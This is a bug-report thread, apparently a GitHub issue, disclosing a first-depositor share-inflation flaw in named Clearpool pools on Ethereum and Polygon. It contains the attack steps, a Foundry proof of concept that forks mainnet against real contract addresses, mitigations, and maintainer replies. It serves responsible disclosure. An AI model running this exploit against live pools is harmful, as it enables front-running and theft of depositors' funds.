Manipulation of LPToken of the pool when the total supply is zero can lead to the implicit minimum deposit amount and loss of user funds due to rounding errors.

[vatsal095]

Adding a docs link

Bug Report

Where: LPTokenWhen:LPToken.totalSupply == 0
Main Affected contracts:
Ethereum
cpMAN-USDT cpAUR-USDC cpPOR-USDC
cpALP-USDC cpFASA-USDC cpFAS-USDT
Polygon
cpFASA-USDC cpPOR-USDT

Fund At risk:
This amount will be infinity, all upcoming pool funds will at risk
Below pools total funds were at risk when they deploy.
Ethereum
cpMAN-USDT => 50K cpMAN
cpAUR-USDC => 9.2M cpAUR
cpPOR-USDC => 200K cpPOR
cpALP-USDC => 590K cpALP
cpFASA-USDC => 470K cpFASA
cpFAS-USDT =>200K cpFAS
Polygon
cpFASA-USDC
cpPOR-USDT
So in polygon right now only two pools and all were added recently, so be careful about adding new pool

Description

• When totalSupply is zero an attacker goes ahead and executes the following steps
• Attacker call provide 1 Wei underlying tokens to mint LPtoken
• They will get 1wei of the underlying token amount of LPtoken
• They go ahead and redeem all the LPtoken they got but 1 wei
• After that Attacker transfer z underlying tokens directly to deployed pool_address
• This leads to 1 Wei of LPToken worth z (+ some small amount)
• The attacker won't have any problem making this z as big as possible as
• They have all the claims to it as a holder of 1 Wei of LPtoken
  This attack has two implications
• The first deposit can be front-run and stolen
  • Let's assume there is a first user trying to mint some LPtoken using their k*z underlying tokens
  • An attacker can see this transaction and carry out the above-described attack making sure that k<1.
  • This leads to the first depositor getting zero LPToken for their k*z underlying tokens.
  • All the tokens are redeemable by the attacker using their 1 wei of LPToken.
• Implicit minimum Amount and funds lost due to rounding errors
  • If an attacker is successful in making 1 wei of LPToken worth z underlying tokens and a user tries to mint LPToken using k* z underlying tokens then,
    • If k<1, then the user gets zero LPToken and all of their underlying tokens get proportionally divided between LPToken holders
      This leads to an implicit minimum amount for a user at the attacker's discretion.
    • If k>1, then users still get some LPToken but they lose (k- floor(k)) * z) of underlying tokens which get proportionally divided between LPToken holders due to rounding errors.
  • This means that for users not to lose value, they have to make sure that k is an integer.

Main Reason:

• Provide function which call _provide function
• In that mint amount is calculted using token
• in that exchange rate is in denominator which calculated using storedexchangerate()
• In storedExchangerate function cash() function call
• cash() is calculated using balanceof(Address(this))
• So attacker can inflate this variable and mint zero shers to the user
  Maths:
  here BalanceOF(address(this)) == X + 1Wei
  now mint token will be :
  amount/ token.balanceOf(self)
  = Y/(X+1wei) (here denominator is greater than numerator )
  = 0.something
  = 0 (solidity round off math)

Recommendations:

• For an already deployed LPToken of pool send some LPToken to a dead address to make sure that the total supply never goes to zero
• For new lpTokens, I like how BalancerV2 and UniswapV2 do it. . some minimum amount of pool tokens get burnt when the first mint happens

[vatsal095]

Attaching forked POC as mentioned for the cpMAN-USDT pool, please enter your API Key
block number: 17881867

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external;
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external;
    function transferFrom(address from, address to, uint256 amount) external;

}

interface IVault {
    function provide(uint256 currencyAmount) external;
    function balanceOf(address user) external returns(uint);
    function redeemCurrency(uint256 currencyAmount)
        external;
}


contract BalanceInflationAttack is Test {

    //RPC for network
    string RPC_URL = "https://eth-mainnet.g.alchemy.com/v2/<API>"; //Enter your mainnet RPC here

    //pevious Blocknumber of the first deposit transaction 
    uint256 public BlockNumber = 17881867;

    //first depositor from mainnet fork
    address public Attacker = 0xdafbA3975d8d55e138763125C0841a494Dc9F4C3;

    //Normal users taken from mainnet fork
    address public Alice = address(0xa);
    address public Bob =address(0xb);
    address public Charlie =address(0xc);
    address public Dave =address(0xd);


    //address of underlying and mintToken for pool
    address public _underlying = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    address public _mintToken = 0x8D4B37CC91E2207B9d889D70685837bcDA711500;
    address public _vault = 0x8D4B37CC91E2207B9d889D70685837bcDA711500;

    IERC20 underlying = IERC20(_underlying);
    IERC20 mintToken = IERC20(_mintToken);
    IVault pool = IVault(_vault);

    function setUp() public {
        uint256 forkId = vm.createFork(RPC_URL, BlockNumber);
        vm.selectFork(forkId);

        deal(_underlying, Attacker, 100_000e18);

        vm.startPrank(Attacker);
        underlying.transfer(Alice,100e18);
        // //Attacker and normal users approves underlying to pool, to deposit in future
        // vm.startPrank(Attacker);
        underlying.approve(_vault, 0); 
        underlying.approve(_vault, 10000 ether); 
        
        
    }

    function testCoolerAttackPOC() public {
        console.log("===========================================================================================================");
        console.log("Attack Begins");

        console.log("First, Attacker mints 1 share");

        vm.startPrank(Attacker);

        pool.provide(1);

        pool.redeemCurrency(mintToken.balanceOf(Attacker)-1);
        uint256 Deposit1 = mintToken.balanceOf(Attacker);
        uint256 balance1 = underlying.balanceOf(Attacker);
        console.log("Amount of share owned by Attacker : %s",mintToken.balanceOf(Attacker));
        console.log("Amount of assets owned by pool  : %s",underlying.balanceOf(_vault));

        uint256 bigAmount = 10000000000; //huge amount of underlying

        console.log("Then, Attacker transfer big amount ( %s ) of underlying directly to pool contract",bigAmount);

        underlying.transfer(_vault,bigAmount);

        console.log("Amount of assets owned by pool after direct trasnfer of underlying by attacker: %s",underlying.balanceOf(_vault));

        vm.stopPrank();
        
        console.log("Normal users try to mint share");

        console.log("Amount of underlying transfer from attacker to pool : %s" , underlying.balanceOf(Attacker));

        vm.startPrank(Attacker);
        pool.provide(10000000000);
        vm.stopPrank();
        uint256 Deposit2 = mintToken.balanceOf(Attacker);
        uint256 balance2 = underlying.balanceOf(Attacker);
        if (Deposit1 == Deposit2 && balance1>=balance2) 
                console.log("Attack SuccessFull");
        else 
                console.log("Attack failed");
       

    }
}

[georgeciubotaru]

Hey, @vatsal095. Thank you for the time and effort you have put into this issue. Our engineering team is aware of this issue and is in the process of QA and delivering the solution soon.

If you are interested in contributing to Clearpool, we are always looking for great talent. Feel free to submit your application in our jobs form.

Cheers,
George

[vatsal095]

Hey, thanks for offering the job application form, will definitely consider it.

But for now, It is apparent that the code is vulnerable to the mentioned vulnerability, and the other solution to eliminate the vulnerability is by voluntarily burning a few shares in order to ensure that totalSupply never goes to zero. which does not take effort or decisions to do so.

I think considering the above, it does not seem that you guys are aware of this.

Also, you should immediately burn a few shares in order to mitigate this before it's too late.

[zolotokrylin]

As George mentioned, we are well aware of the issue.
We seed all pools ourselves and we take care of initial liquidity, thus the urgency is low.

Meanwhile, I am looking forward to receiving your application to work with us :)

[vatsal095]

okay, I understand that your team is already aware of this problem,
but I urge you to go ahead and take the recommendation I provided in the bug description because there is a MAX chance that your team's first transaction in the pool will be front-ran and a breach will take place.

also, I have submitted my application
thanks for the opportunity